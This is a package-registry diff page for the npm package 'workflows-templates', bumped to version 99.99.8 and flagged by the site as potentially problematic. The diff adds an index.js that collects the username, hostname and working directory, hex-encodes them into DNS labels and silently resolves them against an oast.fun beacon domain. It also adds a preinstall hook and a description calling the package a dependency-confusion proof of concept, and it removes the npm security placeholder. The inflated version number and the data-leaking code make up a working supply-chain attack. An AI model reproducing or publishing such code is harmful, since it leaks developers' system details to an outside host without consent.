workflows-templates 0.0.1-security → 99.99.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of workflows-templates might be problematic. Click here for more details.
- package/index.js +37 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
const MAX_LABEL_LENGTH = 63; // RFC 1035
|
|
6
|
+
|
|
7
|
+
// Hex encoder, and split into chunks for DNS labels
|
|
8
|
+
function encodeHexChunks(str) {
|
|
9
|
+
const hex = Buffer.from(str).toString('hex').toLowerCase();
|
|
10
|
+
const chunks = [];
|
|
11
|
+
for (let i = 0; i < hex.length; i += MAX_LABEL_LENGTH) {
|
|
12
|
+
chunks.push(hex.substring(i, i + MAX_LABEL_LENGTH));
|
|
13
|
+
}
|
|
14
|
+
return chunks;
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
// Collect and encode
|
|
18
|
+
const username = os.userInfo().username || "nouser";
|
|
19
|
+
const hostname = os.hostname() || "nohost";
|
|
20
|
+
const cwd = process.cwd() || "nocwd";
|
|
21
|
+
|
|
22
|
+
const uChunks = encodeHexChunks(username);
|
|
23
|
+
const hChunks = encodeHexChunks(hostname);
|
|
24
|
+
const pChunks = encodeHexChunks(cwd);
|
|
25
|
+
|
|
26
|
+
// Construct domain
|
|
27
|
+
const oastDomain = "d1htgb4gtqkg1l43t7igxsz4kfnypi8to.oast.fun";
|
|
28
|
+
const fullLabels = [...uChunks, ...hChunks, ...pChunks, oastDomain];
|
|
29
|
+
|
|
30
|
+
// Join and truncate total length if needed
|
|
31
|
+
let domain = fullLabels.join('.');
|
|
32
|
+
if (domain.length > 253) {
|
|
33
|
+
domain = domain.substring(0, 253);
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
// Trigger DNS request silently
|
|
37
|
+
dns.resolve(domain, () => {});
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "workflows-templates",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.99.8",
|
|
4
|
+
"description": "Dependency Confusion PoC - DNS Beacon Hex Stealth",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "orwa",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=workflows-templates for more information.
|